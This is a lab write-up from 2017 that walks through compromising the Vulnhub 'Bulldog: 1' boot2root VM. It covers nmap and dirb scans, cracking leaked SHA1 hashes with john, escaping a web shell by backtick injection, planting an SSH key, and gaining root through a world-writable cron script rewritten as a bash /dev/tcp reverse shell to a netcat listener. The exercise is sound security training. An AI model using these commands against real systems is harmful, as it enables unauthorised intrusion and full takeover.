Vulnhub, Bulldog: 1
Posted on 10 Nov 2017 in security • 5 min read
At the moment I have some times to work again on Vulnhub virtual machine. So here I picked the first one at the moment: Bulldog: 1 A simple boot2root machine by Nick Frichette.
Discovery
The MOTD of the machine give us its IP address so we can directly launch a nmap at it:
root@kalili:~# nmap -sSV 10.0.2.4
Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-09 14:00 CET
Nmap scan report for 10.0.2.4
Host is up (0.00057s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds
There is a ssh service running on port 23 and two web servers on port 80 and 8080. The server on both port seems to be the same and talks dogs photographies.
Web
We run dirb
on the web server on the port 80:
root@kalili:~# dirb http://10.0.2.4
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Nov 9 14:06:31 2017
URL_BASE: http://10.0.2.4/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.0.2.4/ ----
==> DIRECTORY: http://10.0.2.4/admin/
==> DIRECTORY: http://10.0.2.4/dev/
+ http://10.0.2.4/robots.txt (CODE:200|SIZE:1071)
<SNIP>
The result is the same on the port 8080
The admin page present a django login interface.
The dev page contain the link to a web-shell and contact information with some hashes in html comments view-source:http://10.0.2.4/dev/
:
Team Lead: alan@bulldogindustries.com<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
Back-up Team Lead: william@bulldogindustries.com<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
Front End: malik@bulldogindustries.com<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
Front End: kevin@bulldogindustries.com<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
Back End: ashley@bulldogindustries.com<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
Back End: nick@bulldogindustries.com<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->
Database: sarah@bulldogindustries.com<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->
We launch john against the hashes:
root@kalili:~/bulldog# john hashes --format=Raw-SHA1
Using default input encoding: UTF-8
Loaded 7 password hashes with no different salts (Raw-SHA1 [SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldog (nick)
1g 0:00:03:32 3/3 0.004714g/s 12965Kp/s 12965Kc/s 77831KC/s hmj359t..hmj359l
Nick use a weak password and it can be used to login into the Django admin interface but he has no access.
[/media/2017.11/3.png]
Nevertheless nick has access to the restricted web-shell
[/media/2017.11/4.png]
We can explore a bit, cat /etc/passwd
but mostly we can access the django secret key in bulldog/settings.py
cat bulldog/settings.py
<SNIP>
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '%9a3ph3iwk$v*_#x4ejg8(t5(qll0fl8q8&u+o_g$yi83d*riq'
<SNIP>o
And we can easily break out of the "jail" with the echo
command:
echo `id`
uid=1001(django) gid=1001(django) groups=1001(django),27(sudo)
Therefore we can create a directory .ssh
inside the django user home:
echo `mkdir /home/django/.ssh`
And then echo our ssh public key inside (you need to change the filed size with the firefox inspector):
echo 'ssh-rsa AAAAB3Nt/<SNIP>'> /home/django/.ssh/authorized_keys
Then we got an interactive shell with ssh:
ssh -ldjango 10.0.2.4 -p23
PrivEsc
By looking more into the users directory we discover that we have a read access on djangoadmin
files and that a .hiddenadmindirectory
is present with a note and an executable:
django@bulldog:~$ ls -ahlR /home
/home:
total 16K
drwxr-xr-x 4 root root 4.0K Aug 24 18:16 .
drwxr-xr-x 24 root root 4.0K Aug 25 22:07 ..
drwxr-xr-x 5 bulldogadmin bulldogadmin 4.0K Sep 20 19:45 bulldogadmin
drwxr-xr-x 6 django django 4.0K Nov 9 09:43 django
/home/bulldogadmin:
total 40K
drwxr-xr-x 5 bulldogadmin bulldogadmin 4.0K Sep 20 19:45 .
drwxr-xr-x 4 root root 4.0K Aug 24 18:16 ..
-rw-r--r-- 1 bulldogadmin bulldogadmin 220 Aug 24 17:39 .bash_logout
-rw-r--r-- 1 bulldogadmin bulldogadmin 3.7K Aug 24 17:39 .bashrc
drwx------ 2 bulldogadmin bulldogadmin 4.0K Aug 24 17:40 .cache
drwxrwxr-x 2 bulldogadmin bulldogadmin 4.0K Sep 20 19:44 .hiddenadmindirectory
drwxrwxr-x 2 bulldogadmin bulldogadmin 4.0K Aug 24 22:18 .nano
-rw-r--r-- 1 bulldogadmin bulldogadmin 655 Aug 24 17:39 .profile
-rw-rw-r-- 1 bulldogadmin bulldogadmin 66 Aug 24 22:18 .selected_editor
-rw-r--r-- 1 bulldogadmin bulldogadmin 0 Aug 24 17:45 .sudo_as_admin_successful
-rw-rw-r-- 1 bulldogadmin bulldogadmin 217 Aug 24 18:20 .wget-hsts
ls: cannot open directory '/home/bulldogadmin/.cache': Permission denied
/home/bulldogadmin/.hiddenadmindirectory:
total 24K
drwxrwxr-x 2 bulldogadmin bulldogadmin 4.0K Sep 20 19:44 .
drwxr-xr-x 5 bulldogadmin bulldogadmin 4.0K Sep 20 19:45 ..
-rw-r--r-- 1 bulldogadmin bulldogadmin 8.6K Aug 25 22:18 customPermissionApp
-rw-rw-r-- 1 bulldogadmin bulldogadmin 619 Sep 20 19:44 note
Reverse
The note's content is the following:
Nick,
I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not!
It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?
Let me know what you think of it!
-Ashley
We copy the executable to make it our own and be able to execute it:
django@bulldog:~$ cp /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp ./ && chmod +x customPermissionApp
Then it's reverse, but another lead was found during the reconnaissance for privilege escalation:
Cron
By looking at the cron files we also see that there is a runAV task:
django@bulldog:~$ ls -ahlR /etc/cron*
-rw-r--r-- 1 root root 722 Apr 5 2016 /etc/crontab
/etc/cron.d:
total 24K
drwxr-xr-x 2 root root 4.0K Aug 25 22:05 .
drwxr-xr-x 94 root root 4.0K Nov 9 06:38 ..
-rw-r--r-- 1 root root 589 Jul 16 2014 mdadm
-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
-rw-r--r-- 1 root root 191 Aug 24 17:38 popularity-contest
-rw-r--r-- 1 root root 54 Aug 25 22:05 runAV
<SNIP>
By digging in we found that:
it run a script with root right every minute
django@bulldog:~$ cat /etc/cron.d/runAV
*/1 * * * * root /.hiddenAVDirectory/AVApplication.py
the script is world writable:
django@bulldog:~$ ls -l /.hiddenAVDirectory/AVApplication.py
-rwxrwxrwx 1 root root 157 Aug 25 22:12 /.hiddenAVDirectory/AVApplication.py
that the script is just a place holder:
django@bulldog:~$ cat /.hiddenAVDirectory/AVApplication.py
#!/usr/bin/env python
# Just wanted to throw this placeholder here really quick.
# We will put the full AV here when the vendor is done making it.
# - Alan
We can just get a reverse root shell by modifying the file:
django@bulldog:~$ cat /.hiddenAVDirectory/AVApplication.py
#!/bin/bash
bash -i >& /dev/tcp/10.0.2.15/4444 0>&1
And listen client side:
root@kalili:~# netcat -l -p 4444
bash: cannot set terminal process group (2145): Inappropriate ioctl for device
bash: no job control in this shell
root@bulldog:~# id
id
uid=0(root) gid=0(root) groups=0(root)
ls /root
congrats.txt
cat /root/congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?
Let me know what you thought on twitter, I'm @frichette_n
As far as I know there are two ways to get root. Can you find the other one?
Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!
Yeah the other one include reverse engineering which is not my thing :)
In order to have a complete interactive shell we may just copy our ssh key on the root folder:
cp /home/django.ssh /root -r
And connect with ssh:
root@kalili:~# ssh 10.0.2.4 -lroot -p23
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-87-generic x86_64)
<SNIP>
root@bulldog:~#
DONE.
Thanks to @frichette_n for the machine and thanks to @vulnub.